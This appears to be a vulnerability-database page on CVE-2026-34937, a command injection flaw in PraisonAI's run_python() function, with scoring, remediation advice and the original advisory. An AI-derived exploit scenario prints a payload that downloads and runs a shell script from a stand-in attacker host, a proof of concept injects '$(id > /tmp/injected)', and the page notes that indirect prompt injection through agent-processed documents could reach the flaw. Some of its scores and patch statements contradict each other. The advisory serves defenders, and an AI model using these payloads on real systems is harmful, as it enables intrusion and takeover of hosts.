Skip to main content

Python CVE-2026-34937

CRITICAL
OS Command Injection (CWE-78)
2026-04-01 https://github.com/MervinPraison/PraisonAI GHSA-w37c-qqfp-c67f
9.8
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Inject shell metacharacters into code parameter
  2. Exploit
    Bypass incomplete escaping of $() and backticks
  3. Execution
    Execute arbitrary OS commands via shell=True
  4. Impact
    Achieve code execution with user privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker requires low-privilege local access to the system running PraisonAI and must invoke the run_python() function with attacker-controlled code argument. No user interaction required. Default installations are vulnerable due to incomplete shell metacharacter escaping in subprocess.run() with shell=True.

Impact

The CVSS v3.1 base score of 7.8 (High severity) reflects the local attack vector (AV:L) requiring authenticated access (PR:L) with low attack complexity (AC:L) and no user interaction (UI:N), resulting in complete compromise of confidentiality, integrity, and availability (C:H/I:H/A:H). However, the local-only attack vector substantially reduces real-world exposure compared to remotely exploitable command injection flaws. EPSS data is not provided, but the combination of public proof-of-concept availability and the niche deployment footprint of AI agent frameworks suggests moderate exploitation probability limited to targeted attacks against organizations deploying PraisonAI in multi-user environments or exposing agent APIs without proper authentication controls. The vulnerability is not present in CISA's Known Exploited Vulnerabilities catalog, indicating no confirmed widespread exploitation campaigns. From an SSVC perspective: exploitation is proof-of-concept (public code exists), automatable given the straightforward injection vector, and technical impact is total (arbitrary code execution). Priority depends heavily on deployment context-critical for exposed API endpoints serving untrusted users, lower priority for isolated research environments. The local attack vector requirement and authentication prerequisite mitigate risk compared to unauthenticated remote command injection vulnerabilities that typically warrant emergency patching.

Exploit ScenarioDerived

An attacker with authenticated local access to a system running PraisonAI deploys a malicious AI agent task or manipulates agent pipeline configuration to inject the payload code='$(wget http://attacker.com/shell.sh -O /tmp/s && bash /tmp/s)' into the run_python() function. When the agent framework processes this task, the incomplete escaping logic fails to neutralize the $() command substitution, and subprocess.run() with shell=True invokes /bin/sh, which executes the attacker's wget command to download and run a reverse shell before Python is ever invoked. The attacker gains a shell with the privileges of the PraisonAI process user, typically the application service account, enabling lateral movement, data exfiltration, or further system compromise. In scenarios where the Flask API server is deployed with default AUTH_ENABLED=False settings, remote attackers could potentially trigger this vulnerability through indirect prompt injection by embedding malicious instructions in documents processed by the AI agents, though the CVSS vector indicates local attack requirements suggesting direct local access is the primary threat model.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 02, 2026

Command injection in PraisonAI's run_python() function allows authenticated local attackers to execute arbitrary operating system commands with the privileges of the application process. The vulnerability stems from incomplete input sanitization that fails to escape shell metacharacters ($() and backticks) before passing user-controlled code to subprocess.run() with shell=True. Attackers with low-privilege local access can exploit this to achieve full system compromise (confidentiality, integrity, and availability impact rated High). Proof-of-concept code demonstrates successful command injection via the praisonaiagents Python package. No active exploitation confirmed via CISA KEV at time of analysis, but publicly available exploit code exists in the GitHub security advisory.

RemediationAI

Organizations should immediately review PraisonAI deployments and apply available patches per the vendor advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-w37c-qqfp-c67f. The specific patched version number is not provided in the available intelligence data; users should consult the GitHub advisory and repository release notes for the fixed version and upgrade the praisonaiagents package via pip. As an interim mitigation, disable or restrict access to the run_python() function and any API endpoints that expose code execution capabilities to untrusted users. Enable authentication controls by configuring AUTH_ENABLED=True and requiring valid authentication tokens for all Flask API server deployments. Implement input validation that rejects or safely handles shell metacharacters before any subprocess invocation, and consider refactoring the run_python() implementation to use subprocess.run() with shell=False and argument list arrays instead of shell string interpolation. Organizations unable to patch immediately should isolate PraisonAI deployments to trusted networks and audit all agent pipeline configurations to ensure user-controlled content cannot reach the vulnerable code path.

Affected Packages

pypi praisonaiagents fix: 1.5.90

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

PraisonAI is a Python-based AI agent framework (distributed via PyPI as praisonaiagents) that provides code execution capabilities for autonomous agents. The vulnerable run_python() function in execute_command.py constructs shell commands by embedding user input into a python3 -c "<code>" string pattern. The sanitization logic only escapes backslashes and double quotes, but fails to neutralize POSIX shell command substitution operators like $() and backticks. When this malformed command string reaches subprocess.run() with shell=True, the underlying shell (typically bash or sh) processes the substitution operators before Python is invoked, resulting in CWE-78 (OS Command Injection). The vulnerability is compounded by the framework's auto-generated Flask API server deploying with AUTH_ENABLED=False by default when no authentication token is configured, potentially exposing the run_python() endpoint to indirect prompt injection attacks where malicious instructions embedded in documents or external data sources trigger the vulnerable code path during agent execution workflows.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
Severity Changed
Jul 24, 2026 - 22:23 NVD
HIGH CRITICAL
CVSS changed
Jul 24, 2026 - 22:23 NVD
7.8 (HIGH) 9.8 (CRITICAL)
Patch released
Apr 02, 2026 - 14:30 nvd
Patch available
CVE Published
Apr 01, 2026 - 23:18 nvd
HIGH 7.8

DescriptionNVD

Summary

run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "<code>" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.

Details

execute_command.py:290 (source) -> execute_command.py:297 (hop) -> execute_command.py:310 (sink)

python
# source -- user-controlled code argument
def run_python(code: str, cwd=None, timeout=60):
# hop -- incomplete escaping, $ and () not handled
    escaped_code = code.replace('\\', '\\\\').replace('"', '\\"')
    command = f'{python_cmd} -c "{escaped_code}"'
# sink -- shell=True expands $() before python3 runs
    return execute_command(command=command, cwd=cwd, timeout=timeout)
# execute_command calls subprocess.run(command, shell=True, ...)

PoC

python
# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.code.tools.execute_command import run_python

result = run_python(code='$(id > /tmp/injected)')
print(result)
# verify
import subprocess
print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Any agent pipeline or API consumer that passes user or task-supplied content to run_python() is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with AUTH_ENABLED = False by default when no token is configured.

Executive ViewAI

Why It Matters

PraisonAI versions containing the run_python() function are vulnerable to authenticated command injection that allows local attackers to execute arbitrary operating system commands with application-level privileges. Organizations using PraisonAI for code execution or AI agent tasks face risk of full system compromise if attackers gain local access to systems running the vulnerable package.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: disable or restrict access to run_python() functionality in PraisonAI; enforce strict principle-of-least-privilege on application process execution context; implement filesystem and process-level sandboxing using OS-level controls (AppArmor, SELinux, or Windows Software Restriction Policies); monitor subprocess execution logs for suspicious command patterns; restrict local system access to trusted administrators only.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Affected Products (CPE)NVD

pkg:pip/praisonaiagents

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy